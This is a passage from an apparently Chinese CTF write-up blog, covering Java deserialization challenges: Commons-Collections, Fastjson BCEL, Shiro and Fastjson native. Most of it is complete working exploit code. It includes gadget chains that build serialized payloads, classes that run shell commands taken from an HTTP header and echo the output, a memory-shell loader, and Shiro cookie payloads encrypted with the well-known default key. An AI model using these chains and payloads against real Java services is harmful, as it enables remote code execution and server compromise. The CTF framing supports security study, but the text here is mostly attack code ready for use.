L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAUoW0IpVgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBAA9wcmludFN0YWNrVHJhY2UAIQAcAB0AAAAAAAMAAQAeAB8AAQAgAAABNwAFAAYAAACDKrcAAbgAAkwrwAADtgAETSvAAAO2AAVOBr0ABlkDEgdTWQQSCFNZBSwSCbkACgIAUzoEuwALWbsADFkZBLcADbYADrYAD7cAEBIRtgAStgATtgAUOgUtuQAVAQC7AAZZGQW3ABa2ABctuQAVAQC2ABgtuQAVAQC2ABmnAAhMK7YAG7EAAQAEAHoAfQAaAAMAIQAAADYADQAAAAwABAAOAAgADwAQABAAGAARADMAEgBWABMAaAAUAHEAFQB6ABgAfQAWAH4AFwCCABkAIgAAAEgABwAIAHIAIwAkAAEAEABqACUAJgACABgAYgAnACgAAwAzAEcAKQAqAAQAVgAkACsALAAFAH4ABAAtAC4AAQAAAIMALwAwAAAAMQAAABAAAv8AfQABBwAyAAEHADMEAAEANAA1AAIAIAAAAD8AAAADAAAAAbEAAAACACEAAAAGAAEAAAAeACIAAAAgAAMAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAOAA5AAIAOgAAAAQAAQA7AAEANAA8AAIAIAAAAEkAAAAEAAAAAbEAAAACACEAAAAGAAEAAAAjACIAAAAqAAQAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAPQA&amp;#43;AAIAAAABAD8AQAADADoAAAAEAAEAOwABAEEAAAACAEI=&amp;#34;],
 &amp;#34;_name&amp;#34;:&amp;#34;p0l1st&amp;#34;,
 &amp;#34;_tfactory&amp;#34;:{},
 &amp;#34;_outputProperties&amp;#34;:{}
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105263.png' alt="image-20250710122150278"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="cc链"&gt;&lt;span&gt;CC链&lt;/span&gt;
 &lt;a href="#cc%e9%93%be" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;CC3.1依赖，/read存在反序列化&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105296.png' alt="image-20250710124220874"&gt;&lt;/p&gt;
&lt;p&gt;打CC3+内存马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;


public class CC3 {
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();
 Class templatesClass = templates.getClass();
 Field nameField = templatesClass.getDeclaredField(&amp;#34;_name&amp;#34;);
 nameField.setAccessible(true);
 nameField.set(templates,&amp;#34;p0l1st&amp;#34;);

 Field bytecodesField = templatesClass.getDeclaredField(&amp;#34;_bytecodes&amp;#34;);
 bytecodesField.setAccessible(true);
 byte[] evil = Files.readAllBytes(Paths.get(&amp;#34;D:\\Project\\JavaSec\\test\\target\\classes\\cn\\p0l1st\\MyClassLoader.class&amp;#34;));
 byte[][] codes = {evil};
 bytecodesField.set(templates,codes);

 Field tfactoryField = templatesClass.getDeclaredField(&amp;#34;_tfactory&amp;#34;);
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates, new TransformerFactoryImpl());
 // templates.newTransformer();

 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
 new Object[]{templates});
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
 instantiateTransformer
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap&amp;lt;Object, Object&amp;gt; hashMap = new HashMap&amp;lt;&amp;gt;();
 Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(&amp;#34;five&amp;#34;)); // 防止在反序列化前弹计算器
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, &amp;#34;key&amp;#34;);
 HashMap&amp;lt;Object, Object&amp;gt; expMap = new HashMap&amp;lt;&amp;gt;();
 expMap.put(tiedMapEntry, &amp;#34;value&amp;#34;);
 lazyMap.remove(&amp;#34;key&amp;#34;);

 // 在 put 之后通过反射修改值
 Class&amp;lt;LazyMap&amp;gt; lazyMapClass = LazyMap.class;
 Field factoryField = lazyMapClass.getDeclaredField(&amp;#34;factory&amp;#34;);
 factoryField.setAccessible(true);
 factoryField.set(lazyMap, chainedTransformer);

 serialize(expMap);
// unserialize(&amp;#34;ser.bin&amp;#34;);
 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&amp;#34;ser.bin&amp;#34;));
// oos.writeObject(obj);
// }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105175.png' alt="image-20250710140333779"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="fastjsonbcel"&gt;&lt;span&gt;FastJsonBCEL&lt;/span&gt;
 &lt;a href="#fastjsonbcel" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;JSONController&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; @PostMapping({&amp;#34;/parse&amp;#34;})
 public Object parseJson(@RequestBody String jsonString) {
 return JSONObject.parse(jsonString);
 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;fastjson1.2.24,存在tomcat-dbcp依赖&lt;/p&gt;
&lt;p&gt;题目环境不出网，通过BCEL回显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package cn.p0l1st;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
 static {
 try {
 Class v0 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;org.springframework.web.context.request.RequestContextHolder&amp;#34;);
 Method v1 = v0.getMethod(&amp;#34;getRequestAttributes&amp;#34;);
 Object v2 = v1.invoke(null);
 v0 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;org.springframework.web.context.request.ServletRequestAttributes&amp;#34;);
 v1 = v0.getMethod(&amp;#34;getResponse&amp;#34;);
 Method v3 = v0.getMethod(&amp;#34;getRequest&amp;#34;);
 Object v4 = v1.invoke(v2);
 Object v5 = v3.invoke(v2);
 Method v6 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;javax.servlet.ServletResponse&amp;#34;).getDeclaredMethod(&amp;#34;getWriter&amp;#34;);
 Method v7 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;javax.servlet.http.HttpServletRequest&amp;#34;).getDeclaredMethod(&amp;#34;getHeader&amp;#34;,String.class);
 v7.setAccessible(true);
 v6.setAccessible(true);
 Object v8 = v6.invoke(v4);
 String v9 = (String) v7.invoke(v5,&amp;#34;cmd&amp;#34;);
 String[] v10 = new String[3];
 if (System.getProperty(&amp;#34;os.name&amp;#34;).toUpperCase().contains(&amp;#34;WIN&amp;#34;)){
 v10[0] = &amp;#34;cmd&amp;#34;;
 v10[1] = &amp;#34;/c&amp;#34;;
 }else {
 v10[0] = &amp;#34;/bin/sh&amp;#34;;
 v10[1] = &amp;#34;-c&amp;#34;;
 }
 v10[2] = v9;
 v8.getClass().getDeclaredMethod(&amp;#34;println&amp;#34;,String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter(&amp;#34;\\A&amp;#34;).next());
 v8.getClass().getDeclaredMethod(&amp;#34;flush&amp;#34;).invoke(v8);
 v8.getClass().getDeclaredMethod(&amp;#34;clone&amp;#34;).invoke(v8);
 } catch (Exception var11) {
 var11.getStackTrace();
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class FastjsonBCEL {
 public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
 JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
 String code = Utility.encode(javaClass.getBytes(), true);
 //Class.forName(&amp;#34;$$BCEL$$&amp;#34;&amp;#43;code,true,new ClassLoader());
 System.out.println(code);
 new ClassLoader().loadClass(&amp;#34;$$BCEL$$&amp;#34;&amp;#43;code).newInstance();

 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;因为是用parse，payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
 {
 &amp;#34;@type&amp;#34;: &amp;#34;com.alibaba.fastjson.JSONObject&amp;#34;,
 &amp;#34;x&amp;#34;:{
 &amp;#34;@type&amp;#34;: &amp;#34;org.apache.tomcat.dbcp.dbcp2.BasicDataSource&amp;#34;,
 &amp;#34;driverClassLoader&amp;#34;: {
 &amp;#34;@type&amp;#34;: &amp;#34;com.sun.org.apache.bcel.internal.util.ClassLoader&amp;#34;
 },
 &amp;#34;driverClassName&amp;#34;: &amp;#34;$$BCEL$$&amp;#34;
 }
 }: &amp;#34;x&amp;#34;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105268.png' alt="image-20250718202328089"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="polaroa"&gt;&lt;span&gt;PolarOA&lt;/span&gt;
 &lt;a href="#polaroa" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;存在Shiro反序列化&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105222.png' alt="image-20250718203643481"&gt;&lt;/p&gt;
&lt;p&gt;但是爆破不出利用链&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105287.png' alt="image-20250718203939851"&gt;&lt;/p&gt;
&lt;p&gt;这里对cookie的长度做了限制，需要小于3500个字符&lt;/p&gt;
&lt;p&gt;打无CC链的CB链就行，通过&lt;code&gt;DynamicClassGenerator&lt;/code&gt;生成恶意内存马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class DynamicClassGenerator {
 public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass(&amp;#34;Exp&amp;#34;);

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make(&amp;#34;public SpringEcho() throws Exception {\n&amp;#34; &amp;#43;
 &amp;#34; try {\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; String te = httprequest.getHeader(\&amp;#34;Host\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.addHeader(\&amp;#34;Host\&amp;#34;, te);\n&amp;#34; &amp;#43;
 &amp;#34; String tc = httprequest.getHeader(\&amp;#34;CMD\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; if (tc != null &amp;amp;&amp;amp; !tc.isEmpty()) {\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;cmd.exe\&amp;#34;, \&amp;#34;/c\&amp;#34;, tc}; \n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34; } catch (Exception e) {\n&amp;#34; &amp;#43;
 &amp;#34; e.getStackTrace();\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; }&amp;#34;, clazz));

 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass(&amp;#34;Exp&amp;#34;);

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make(&amp;#34;public SpringEcho() throws Exception {\n&amp;#34; &amp;#43;
 &amp;#34; try {\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; String te = httprequest.getHeader(\&amp;#34;Host\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.addHeader(\&amp;#34;Host\&amp;#34;, te);\n&amp;#34; &amp;#43;
 &amp;#34; String tc = httprequest.getHeader(\&amp;#34;CMD\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; if (tc != null &amp;amp;&amp;amp; !tc.isEmpty()) {\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;/bin/sh\&amp;#34;, \&amp;#34;-c\&amp;#34;, tc};\n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34; } catch (Exception e) {\n&amp;#34; &amp;#43;
 &amp;#34; e.getStackTrace();\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; }&amp;#34;, clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;import org.apache.shiro.codec.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
 public static void main(String[] args) throws Exception {
 DynamicClassGenerator classGenerator =new DynamicClassGenerator();
 CtClass clz = classGenerator.genPayloadForLinux();
 TemplatesImpl templates = (TemplatesImpl) getTemplates(clz.toBytecode());

 //shiro无依赖利用链，使用shiro1.2.4自带的cb 1.8.3
 BeanComparator Beancomparator = new BeanComparator();
 PriorityQueue&amp;lt;Object&amp;gt; queue = new PriorityQueue&amp;lt;Object&amp;gt;(2, Beancomparator);
 queue.add(1);
 queue.add(2);

 setValue(Beancomparator,&amp;#34;property&amp;#34;,&amp;#34;outputProperties&amp;#34;);
 setValue(queue,&amp;#34;queue&amp;#34;,new Object[]{templates,templates});
 setValue(Beancomparator, &amp;#34;comparator&amp;#34;, String.CASE_INSENSITIVE_ORDER);

 //序列化
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(queue);

 AesCipherService aes = new AesCipherService();
 byte[] key = Base64.decode(CodecSupport.toBytes(&amp;#34;kPH&amp;#43;bIxk5D2deZiIxcaaaA==&amp;#34;));
 byte[] bytes = byteArrayOutputStream.toByteArray();

 ByteSource ciphertext;
 ciphertext = aes.encrypt(bytes, key);
 System.out.println(ciphertext);
 }


 public static Object getTemplates(byte[] bytes) throws Exception {
 Templates templates = new TemplatesImpl();
 setValue(templates, &amp;#34;_bytecodes&amp;#34;, new byte[][]{bytes});
 setValue(templates, &amp;#34;_name&amp;#34;, &amp;#34;p0l1st&amp;#34;);
 setValue(templates, &amp;#34;_tfactory&amp;#34;, new TransformerFactoryImpl());
 return templates;
 }

 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105420.png' alt="image-20250719095834150"&gt;&lt;/p&gt;
&lt;p&gt;注意CB版本为1.8.3&lt;/p&gt;
&lt;h1 class="heading-element" id="ezjson"&gt;&lt;span&gt;ezJson&lt;/span&gt;
 &lt;a href="#ezjson" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;fastjson1.2.83&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105529.png' alt="image-20250722194508754"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/read&lt;/code&gt;路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@RequestMapping({&amp;#34;/read&amp;#34;})
 @ResponseBody
 public String getUser(String data) throws Exception {
 if (data == null) {
 throw new IllegalArgumentException(&amp;#34;Data cannot be null&amp;#34;);
 }
 byte[] b = Base64.getDecoder().decode(data);
 if (b == null) {
 throw new IllegalArgumentException(&amp;#34;Decoded data cannot be null&amp;#34;);
 }
 InputStream inputStream = new ByteArrayInputStream(b);
 if (inputStream == null) {
 throw new IllegalArgumentException(&amp;#34;Input stream cannot be null&amp;#34;);
 }
 ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
 Object obj = objectInputStream.readObject();
 JSONArray dataArray = new JSONArray();
 JSONObject item = new JSONObject();
 item.put(&amp;#34;code&amp;#34;, (Object) 200);
 item.put(BindTag.STATUS_VARIABLE_NAME, (Object) &amp;#34;success&amp;#34;);
 item.put(&amp;#34;obj&amp;#34;, (Object) JSON.toJSONString(obj));
 dataArray.add(item);
 return dataArray.toJSONString();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;打fastjson原生反序列化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package cn.p0l1st;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class Test2 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

// public static byte[] genPayload(String cmd) throws Exception{
// ClassPool pool = ClassPool.getDefault();
// CtClass clazz = pool.makeClass(&amp;#34;a&amp;#34;);
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
// CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody(&amp;#34;Runtime.getRuntime().exec(\&amp;#34;&amp;#34;&amp;#43;cmd&amp;#43;&amp;#34;\&amp;#34;);&amp;#34;);
// clazz.addConstructor(constructor);
// clazz.getClassFile().setMajorVersion(49);
// return clazz.toBytecode();
// }
 public static byte[] genPayload() throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass(&amp;#34;a&amp;#34;);
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody(
 &amp;#34;{\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;sh\&amp;#34;, \&amp;#34;-c\&amp;#34;, httprequest.getHeader(\&amp;#34;Cmd\&amp;#34;)};\n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34;}&amp;#34;
 );
 clazz.addConstructor(constructor);
 clazz.getClassFile().setMajorVersion(49);
 return clazz.toBytecode();
 }

 public static void main(String[] args) throws Exception{


 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, &amp;#34;_bytecodes&amp;#34;, new byte[][]{genPayload()});
 setValue(templates, &amp;#34;_name&amp;#34;, &amp;#34;1&amp;#34;);
 setValue(templates, &amp;#34;_tfactory&amp;#34;, null);

 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
 setValue(bd,&amp;#34;val&amp;#34;,jsonArray);

 HashMap hashMap = new HashMap();
 hashMap.put(templates,bd);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(hashMap);
 objectOutputStream.close();
 System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();



 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105334.png' alt="image-20250722205701577"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="polaroa20"&gt;&lt;span&gt;PolarOA2.0&lt;/span&gt;
 &lt;a href="#polaroa20" class="heading-mark"&gt;
